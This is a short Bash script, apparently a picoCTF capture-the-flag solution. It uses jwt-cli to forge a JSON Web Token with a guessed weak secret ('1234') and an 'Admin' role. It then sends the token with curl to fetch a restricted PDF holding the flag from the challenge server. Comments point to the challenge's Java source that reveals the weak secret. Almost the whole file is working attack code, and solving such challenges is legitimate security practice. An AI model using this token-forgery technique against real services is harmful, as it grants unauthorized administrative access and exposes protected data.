Files
2026-07-04 22:04:13 +09:00

23 lines
708 B
Bash
Executable File

#!/usr/bin/env nix-shell
#!nix-shell -i bash -p jwt-cli
URL="http://saturn.picoctf.net:54161"
# NOTE: see:
# - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/security/SecretGenerator.java
# - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/security/ReauthenticationFilter.java
# - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/controllers/BookController.java
# - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/services/BookService.java
TOKEN="$(jwt encode \
--secret=1234 \
--iss=bookshelf \
--exp="1w" \
'{"userId": 2, "email": "user", "role": "Admin"}'
)"
curl "$URL/base/books/pdf/5" \
-H "Authorization: Bearer $TOKEN" \
--output flag.pdf